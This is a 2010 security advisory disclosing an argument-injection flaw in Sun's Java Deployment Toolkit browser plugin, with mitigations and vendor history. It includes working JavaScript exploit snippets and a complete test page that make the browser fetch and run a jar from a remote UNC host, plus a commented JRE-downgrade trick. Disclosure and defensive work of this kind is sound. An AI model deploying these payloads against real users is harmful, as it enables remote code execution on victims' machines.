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Java Deployment Toolkit Performs Insufficient Validation of Parameters
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Java Web Start (henceforth, jws) provides java developers with a way to let
users launch and install their applications using a URL to a Java Networking
Launching Protocol (.jnlp) file (essentially some xml describing the
program).
Since Java 6 Update 10, Sun has distributed an NPAPI plugin and ActiveX control
called "Java Deployment Toolkit" to provide developers with a simpler method
of distributing their applications to end users. This toolkit is installed by
default with the JRE and marked safe for scripting.
The launch() method provided by the toolkit object accepts a URL string, which
it passes to the registered handler for JNLP files, which by default is the
javaws utility.
$ cmd /c ver
Microsoft Windows XP [Version 5.1.2600]
$ java -version
java version "1.6.0_19"
Java(TM) SE Runtime Environment (build 1.6.0_19-b04)
Java HotSpot(TM) Client VM (build 16.2-b04, mixed mode, sharing)
$ cat /proc/registry/HKEY_LOCAL_MACHINE/SOFTWARE/Classes/JNLPFile/Shell/Open/Command/\@
"C:\Program Files\Java\jre6\bin\javaws.exe" "%1"
The toolkit provides only minimal validation of the URL parameter, allowing us
to pass arbitrary parameters to the javaws utility, which provides enough
functionality via command line arguments to allow this error to be exploited.
The simplicity with which this error can be discovered has convinced me
that releasing this document is in the best interest of everyone except
the vendor.
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Affected Software
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All versions since Java SE 6 update 10 for Microsoft Windows are believed to be
affected by this vulnerability. Disabling the java plugin is not sufficient to
prevent exploitation, as the toolkit is installed independently.
http://java.sun.com/javase/6/docs/technotes/guides/jweb/deployment_advice.html
I believe non-Windows installations are unaffected.
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Consequences
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Exploitation of this issue is not terribly exciting, but is potentially of high
enough impact to merit explanation. The javaws application supports the
following command line parameters.
$ javaws -help
Usage: javaws [run-options] <jnlp-file>
javaws [control-options]
where run-options include:
-verbose display additional output
-offline run the application in offline mode
-system run the application from the system cache only
-Xnosplash run without showing a splash screen
-J<option> supply option to the vm
-wait start java process and wait for its exit
control-options include:
-viewer show the cache viewer in the java control panel
-uninstall remove all applications from the cache
-uninstall <jnlp-file> remove the application from the cache
-import [import-options] <jnlp-file> import the application to the cache
import-options include:
-silent import silently (with no user interface)
-system import application into the system cache
-codebase <url> retrieve resources from the given codebase
-shortcut install shortcuts as if user allowed prompt
-association install associations as if user allowed prompt
Perhaps the most interesting of these is -J, and the obvious attack is simply
to add -jar followed by an attacker controlled UNC path to the jvm command
line, which I've demonstrated below. Other attacks are clearly possible, but
this is sufficient to demonstrate the problem.
In order to trigger this attack in Internet Explorer, an attacker would use a
code sequence like this
/* ... */
var o = document.createElement("OBJECT");
o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";
o.launch("http: -J-jar -J\\\\attacker.controlled\\exploit.jar none");
/* ... */
Or, for Mozilla Firefox
/* ... */
var o = document.createElement("OBJECT");
o.type = "application/npruntime-scriptable-plugin;deploymenttoolkit"
document.body.appendChild(o);
o.launch("http: -J-jar -J\\\\attacker.controlled\\exploit.jar none");
/* ... */
Please note, at some point the registered MIME type was changed to
application/java-deployment-toolkit, please verify which type applies to
your users when verifying any mitigation implemented has been effective (the
simplest way would be to look at the output of about:plugins on a reference
machine).
A harmless demonstration is provided below.
http://lock.cmpxchg8b.com/bb5eafbc6c6e67e11c4afc88b4e1dd22/testcase.html
<html>
<head><title>Java Deployment Toolkit Test Page</title></head>
<body>
<script>
// Tavis Ormandy <taviso@sdf.lonestar.org>, April 2010
var u = "http: -J-jar -J\\\\lock.cmpxchg8b.com\\calc.jar none";
if (window.navigator.appName == "Microsoft Internet Explorer") {
var o = document.createElement("OBJECT");
o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";
// Trigger the bug
o.launch(u);
} else {
// Mozilla
var o = document.createElement("OBJECT");
var n = document.createElement("OBJECT");
o.type = "application/npruntime-scriptable-plugin;deploymenttoolkit";
n.type = "application/java-deployment-toolkit";
document.body.appendChild(o);
document.body.appendChild(n);
// Test both MIME types
try {
// Old type
o.launch(u);
} catch (e) {
// New type
n.launch(u);
}
}
// Bonus Vulnerability, why not downgrade victim to a JRE vulnerable to
// this classic exploit?
// http://sunsolve.sun.com/search/document.do?assetkey=1-66-244991-1
// o.installJRE("1.4.2_18");
</script>
</body>
</html>
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Mitigation
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If you believe your users may be affected, you should consider applying one of
the workarounds described below as a matter of urgency.
- Internet Explorer users can be protected by temporarily setting the killbit
on CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA. To the best of my knowledge, the
deployment toolkit is not in widespread usage and is unlikely to impact end
users.
- Mozilla Firefox and other NPAPI based browser users can be protected using
File System ACLs to prevent access to npdeploytk.dll. These ACLs can also be
managed via GPO.
Detailed documentation on killbits is provided by Microsoft here
http://support.microsoft.com/kb/240797
Domain administrators can deploy killbits and File System ACLs using GPOs, for
more information on Group Policy, see Microsoft's Group Policy site, here
http://technet.microsoft.com/en-us/windowsserver/bb310732.aspx
You may be tempted to kill the HKLM\...\JNLPFile\Shell\Open\Command key, but
the author does not believe this is sufficient, as the plugin also provides
enough functionality to install and downgrade JRE installations without
prompting (seriously). However, if none of your affected users are local
Administrators, this solution may work (untested).
As always, if you do not require this feature, consider permanently disabling
it in order to reduce attack surface.
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Solution
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Sun has been informed about this vulnerability, however, they informed me they
do not consider this vulnerability to be of high enough priority to break their
quarterly patch cycle.
For various reasons, I explained that I did did not agree, and intended to
publish advice to temporarily disable the affected control until a solution is
available.
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Credit
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This bug was discovered by Tavis Ormandy.
This work is my own, and all of the opinions expressed are mine, not my
employers or anybody elses (I added this for you, Dan. Thanks ;-)).
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Greetz
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Greetz to Julien, Neel, Redpig, Lcamtuf, Spoonm, Skylined, asiraP, LiquidK,
ScaryBeasts, Headhntr, Jagger, Sami and Roach.
Some very elite friends have started a consultancy called inverse path, you
should really hire them.
http://www.inversepath.com/
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References
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- Deploying Java with JNLP, Sun Microsystems.
http://java.sun.com/developer/technicalArticles/Programming/jnlp/
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Notes
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My advisories are intended to be consumed by a technical audience of security
professionals and systems administrators who are familiar with the principal
for which the mailing list you have subscribed to is named. If you do not fall
into this category, you can get up to speed by reading this accessible and
balanced essay on the disclosure debate by Bruce Schneier.
http://www.schneier.com/crypto-gram-0111.html#1
Some of us would appreciate it if you made the effort to research and
understand the issues involved before condemning us :-)
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